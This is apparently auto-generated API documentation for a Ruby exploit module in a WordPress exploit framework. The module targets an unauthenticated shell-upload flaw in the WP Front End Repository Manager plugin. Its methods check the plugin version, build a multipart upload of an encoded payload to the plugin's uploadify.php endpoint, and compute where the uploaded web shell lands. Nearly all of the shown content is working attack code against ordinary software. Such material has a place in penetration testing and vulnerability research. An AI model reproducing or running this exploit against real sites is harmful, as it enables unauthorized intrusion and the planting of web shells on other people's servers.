class Wpxf::Exploit::WpFrontEndRepositoryManagerShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::ShellUpload::new
# File lib/wpxf/modules/exploit/shell/wp_front_end_repository_manager_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'WP Front End Repostiory Manager Unauthenticated Shell Upload',
    author: [
      'Larry W. Cashdollar', # Discovery and disclosure
      'rastating'            # WPXF module
    ],
    references: [
      ['WPVDB', '8100'],
      ['URL', 'http://www.vapid.dhs.org/advisory.php?v=141']
    ],
    date: 'Jul 12 2015'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/shell/wp_front_end_repository_manager_shell_upload.rb, line 23
def check
  check_plugin_version_from_readme('wp-front-end-repository')
end
payload_body_builder() click to toggle source
# File lib/wpxf/modules/exploit/shell/wp_front_end_repository_manager_shell_upload.rb, line 31
def payload_body_builder
  builder = Utility::BodyBuilder.new
  builder.add_field('name', payload_name)
  builder.add_field('folder', './')
  builder.add_file_from_string('Filedata', payload.encoded, payload_name)
  builder
end
uploaded_payload_location() click to toggle source
# File lib/wpxf/modules/exploit/shell/wp_front_end_repository_manager_shell_upload.rb, line 39
def uploaded_payload_location
  normalize_uri(wordpress_url_plugins, 'wp-front-end-repository', 'js', 'uploadify', payload_name)
end
uploader_url() click to toggle source
# File lib/wpxf/modules/exploit/shell/wp_front_end_repository_manager_shell_upload.rb, line 27
def uploader_url
  normalize_uri(wordpress_url_plugins, 'wp-front-end-repository', 'js', 'uploadify', 'uploadify.php')
end